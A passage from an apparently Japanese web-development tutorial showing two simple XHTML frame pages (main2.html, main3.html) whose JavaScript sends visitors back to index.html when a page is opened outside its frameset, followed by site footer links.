		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main2.html</title>
		<script type="text/javascript">
			<!--//
				if(window.parent && window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href="index.html";
					}
				}
			//-->
		</script>
	</head>
	<body>
		<p>コンテンツ2</p>
		<a href="main2.html" target="_blank">コンテンツ2を新規で開く</a>
	</body>
</html>

main3.html(コンテンツ3)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main3.html</title>
	</head>
	<body onLoad="if (parent.frames.length==0) top.location='index.html'">
		<p>コンテンツ3</p>
		<a href="main3.html" target="_blank">コンテンツ3を新規で開く</a>
	</body>
</html>

 

IT工房にんにく庵関連ページ

 

ホームページ制作

検索


Feed

Really Simple Syndication 2.0 The Atom Syndication Format Really Simple Discoverability